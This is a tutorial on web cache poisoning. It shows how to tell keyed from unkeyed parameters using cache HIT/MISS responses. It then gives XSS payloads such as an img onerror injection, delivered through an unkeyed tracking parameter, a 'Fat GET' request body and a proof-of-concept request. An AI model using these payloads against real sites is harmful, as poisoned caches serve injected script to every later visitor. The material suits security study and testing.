Terminology#
Keyed Parameters#
Keyed parameters are parameters that the cache system considers when storing and retrieving cached content. This means that variations in these parameters will result in different cached entries.
For example, if the URL has parameters such as ?user=123 and the cache is keyed on this parameter, the cache will store and serve different content (cache miss) for ?user=123 and ?user=456.
Unkeyed Parameters#
Unkeyed parameters are parameters that the cache system ignores when storing and retrieving cached content. This means that variations in these parameters will not result in different cached entries. The cache will store only one version of the content (cache hit), regardless of the variations in these parameters.
Identifying Unkeyed Parameters#
The first step is to identify unkeyed parameters, since keyed parameters need to be the same when the victim accesses the resource.
Example#
Assume we open example.com on /page with the following parameters:
GET /page?user=admin&tracking=abc HTTP/1.1
Host: example.comSince example.com uses caching and we are visiting the page for the first time, we will see a cache MISS:
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 456
X-Cache: MISS
<html>
<head>
<title>Welcome</title>
</head>
<body>
<p>Welcome, admin!</p>
</body>
</html>Now we alter each parameter and check weather we get a cache miss or hit. A cache MISS indicates us that this parameter is keyed, since the server loaded a new version of the website.
GET /page?user=guest&tracking=abc HTTP/1.1
Host: example.comHTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 456
X-Cache: MISS
<html>
<head>
<title>Welcome</title>
</head>
<body>
<p>Welcome, guest!</p>
</body>
</html>Now that we identified the user parameter to be keyed, let’s continue and check the tracking parameter. Before we change the tracking parameter, lets resent our initial request where we got a cache MISS, to verify that the sytem now cached it.
GET /page?user=admin&tracking=abc HTTP/1.1
Host: example.comHTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 456
X-Cache: HIT
<html>
<head>
<title>Welcome</title>
</head>
<body>
<p>Welcome, admin!</p>
</body>
</html>Great. Now, let’s alter the value of the tracking parameter to see whether we get a cache MISS, indicating a keyed parameter, or a HIT again, indicating an unkeyed parameter.
GET /page?user=admin&tracking=some-other-value HTTP/1.1
Host: example.comHTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 456
X-Cache: HIT
<html>
<head>
<title>Welcome</title>
</head>
<body>
<p>Welcome, admin!</p>
</body>
</html>We can observe the tracking parameter must be a unkeyed value, since the cache always returns HIT, even though the value of the parameter was changed.
The same thing also sometimes applies to header values in the HTTP requests.
Exploitation#
One of the most common ways to exploit cache poisoning is through XSS, though there are other attacks like DoS and unkeyed cookies. To exploit a XSS you have to find an injection point using an unkeyed parameter. The XSS will then be severed to all other users loading that cached version.
Example#
Imagine we have an injection via the tracking parameter into a meta tag like this:
GET /page?user=admin&tracking=https://mytrack.com HTTP/1.1...
<meta http-equiv="refresh" content="https://mytrack.com" />
...As before, when sending the initial request to the server, we will receive a cache MISS. So let us inject a simple XSS payload via the unkeyed tracking parameter "><img/src/onerror=print()>.
Content-Type: text/html
Content-Length: 456
X-Cache: MISS
<html>
<head>
<title>Welcome</title>
<meta http-equiv="refresh" content="https://"><img/src/onerror=print()> />
</head>
<body>
<p>Welcome, admin!</p>
</body>
</html>Since tracking is an unkeyed parameter, anybody who visits the page /page?user=admin will be a victim of the XSS attack.
Advanced Techniques#
There are multiple advanced things we can try to get and escalate a cache poisoning attack. However for now let us focus one just one of those, a “Fat GET”.
Fat GET#
A “Fat GET” request, is when we use GET parameters in the post body, while still using the GET verb. If a server is misconfigured it might parse the parameters from the body. With this you can try to create a discrepancy between the webserver and the cache. With this we can also use keyed parameters, since they are no longer directly present in the URL. We can then go back and perform an XSS attack the same way we did before.
GET /page?user=admin&tracking=abc HTTP/1.1
Host: example.com
user=guestContent-Type: text/html
Content-Length: 456
X-Cache: MISS
<html>
<head>
<title>Welcome</title>
</head>
<body>
<p>Welcome, guest!</p>
</body>
</html>GET /page?user=admin&tracking=abc HTTP/1.1
Host: example.com
user=</p><img/src/onerror=print()><p>Content-Type: text/html
Content-Length: 456
X-Cache: MISS
<html>
<head>
<title>Welcome</title>
</head>
<body>
<p>Welcome, </p><img/src/onerror=print()><p>!</p>
</body>
</html>Again, if a victim now opens example.com/page?user=admin the XSS will be loaded from the cache.
A Real Life PoC#
GET /?cb=100&"><image/src/onerror=print()> HTTP/2
Host: target-website.com
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
HTTP/2 200 OK
CACHE: HIT...
<meta property="og:url" content="https://target-website.com/?cb=100&"><image/src/onerror=print()>">
...In this example, an image tag with an onerror event is injected into the URL parameter. When the server processes this request, the parameter is reflected in the HTML response and cached. Consequently, subsequent users requesting the cached page will execute the malicious JavaScript.
FAQ#
What is the difference between a keyed and an unkeyed parameter?
Keyed parameters are the ones the cache takes into account when it stores and retrieves an entry, so changing one produces a different cached entry and a cache miss. Unkeyed parameters are ignored by the cache, so changing one still returns the stored response and a cache hit. Cache poisoning depends on finding an input that the application reflects but the cache does not key on.
How do you identify unkeyed parameters?
Send the request once so the response gets cached, then resend it while changing one parameter at a time and watch the X-Cache header. A MISS after the change means the cache treated the request as new, so that parameter is keyed. A HIT means the cache ignored the change, so the parameter is unkeyed. The same test sometimes applies to header values as well.
How is cache poisoning turned into XSS?
You need an injection point that is reachable through an unkeyed parameter, for example a value reflected into a meta tag. Sending a payload such as a broken out attribute followed by an image tag with an onerror handler makes the poisoned response the one that gets stored. Everyone who later requests that cached URL is then served the injected markup.
What is a fat GET request?
A fat GET keeps the GET verb but carries the parameters in the request body. A misconfigured server may parse those body parameters, which creates a discrepancy between the web server and the cache. That also lets you supply values for keyed parameters, because they are no longer directly present in the URL.



